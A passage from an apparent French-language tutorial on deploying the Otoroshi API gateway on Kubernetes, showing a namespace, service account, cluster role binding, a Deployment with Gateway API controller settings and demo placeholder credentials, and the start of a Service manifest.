&lt;p&gt;Ces CRD vous permettent de configurer les ressources natives d’Otoroshi (routes, backends, clés d’API, etc.) via des manifestes Kubernetes. Même si nous nous concentrons aujourd’hui sur la Gateway API, les installer vous donne accès à l’intégration Kubernetes complète d’Otoroshi.&lt;/p&gt;
&lt;h3 id=&quot;étape-6--déployer-otoroshi&quot;&gt;Étape 6 : déployer Otoroshi&lt;/h3&gt;
&lt;p&gt;C’est le gros morceau. Je vais détailler le manifeste de déploiement, car il contient plusieurs réglages importants.&lt;/p&gt;
&lt;p&gt;Manifeste complet (&lt;code&gt;manifests/otoroshi.yaml&lt;/code&gt;) :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Namespace&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ServiceAccount&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi-admin-user&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;rbac.authorization.k8s.io/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ClusterRoleBinding&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi-admin-user&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;roleRef&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  apiGroup&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;rbac.authorization.k8s.io&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ClusterRole&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi-admin-user&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;subjects&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ServiceAccount&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi-admin-user&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;apps/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Deployment&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  replicas&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  selector&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    matchLabels&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      app&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  template&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      labels&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        app&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      serviceAccountName&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi-admin-user&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      terminationGracePeriodSeconds&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;60&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      containers&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        image&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;maif/otoroshi:latest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        imagePullPolicy&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Always&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        ports&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;containerPort&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;10049&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;containerPort&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;10048&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;https&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        env&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;APP_STORAGE_ROOT&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;APP_STORAGE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;inmemory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ADMIN_API_EXPOSED_SUBDOMAIN&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi-api-5jsfzwhhx6unbywz&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ADMIN_API_TARGET_SUBDOMAIN&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi-target-5jsfzwhhx6unbywz&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;APP_BACKOFFICE_SUBDOMAIN&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi-backoffice-5jsfzwhhx6unbywz&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;APP_PRIVATEAPPS_SUBDOMAIN&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi-privateapps-5jsfzwhhx6unbywz&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;APP_DOMAIN&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;cleverk8s.io&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;OTOROSHI_INITIAL_ADMIN_PASSWORD&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;password&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ADMIN_API_CLIENT_ID&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;admin-api-apikey-id&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ADMIN_API_CLIENT_SECRET&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;admin-api-apikey-secret&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ADMIN_API_ADDITIONAL_EXPOSED_DOMAIN&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi-api.otoroshi.svc.cluster.local&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;OTOROSHI_SECRET&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;veryveryveryveryverysecret&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;OTOROSHI_EXPOSED_PORTS_HTTP&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;80&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;OTOROSHI_EXPOSED_PORTS_HTTPS&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;443&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;HEALTH_LIMIT&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;5000&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;SSL_OUTSIDE_CLIENT_AUTH&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Want&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;HTTPS_WANT_CLIENT_AUTH&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;true&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_ENABLED&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;true&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_ACCESSLOG&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;true&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_EXPOSED_HTTP_PORT&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;80&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_EXPOSED_HTTPS_PORT&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;443&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;OTOROSHI_INITIAL_CUSTOMIZATION&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;              &quot;config&quot;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                &quot;scripts&quot;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                  &quot;enabled&quot;: true,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                  &quot;jobRefs&quot;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                    &quot;cp:otoroshi.plugins.jobs.kubernetes.KubernetesGatewayApiControllerJob&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                  ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                  &quot;jobConfig&quot;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                    &quot;KubernetesConfig&quot;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;trust&quot;: false,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;namespaces&quot;: [&quot;*&quot;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;labels&quot;: {},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;namespacesLabels&quot;: {},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;defaultGroup&quot;: &quot;default&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;ingresses&quot;: false,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;crds&quot;: true,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;kubeLeader&quot;: false,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;restartDependantDeployments&quot;: false,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;watch&quot;: false,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;syncIntervalSeconds&quot;: 60,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;otoroshiServiceName&quot;: &quot;otoroshi-service&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;otoroshiNamespace&quot;: &quot;otoroshi&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;clusterDomain&quot;: &quot;cluster.local&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;gatewayApi&quot;: true,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;gatewayApiWatch&quot;: true,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;gatewayApiControllerName&quot;: &quot;otoroshi.io/gateway-controller&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;gatewayApiHttpListenerPort&quot;: [8080, 80],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;gatewayApiHttpsListenerPort&quot;: [8443, 443],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;gatewayApiSyncIntervalSeconds&quot;: 30,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                      &quot;gatewayApiAddresses&quot;: []&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;                }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;              }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;JAVA_OPTS&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&apos;-Xms1g -Xmx2g -XX:+UseContainerSupport -XX:MaxRAMPercentage=80.0&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        readinessProbe&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          httpGet&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            path&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;/ready&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;8080&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          initialDelaySeconds&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;30&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          periodSeconds&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          failureThreshold&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        livenessProbe&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          httpGet&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            path&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;/live&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;8080&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          initialDelaySeconds&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;30&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          periodSeconds&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          failureThreshold&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Service&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi-service&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  selector&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    app&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;otoroshi&lt;/span&gt;&lt;/span&gt;
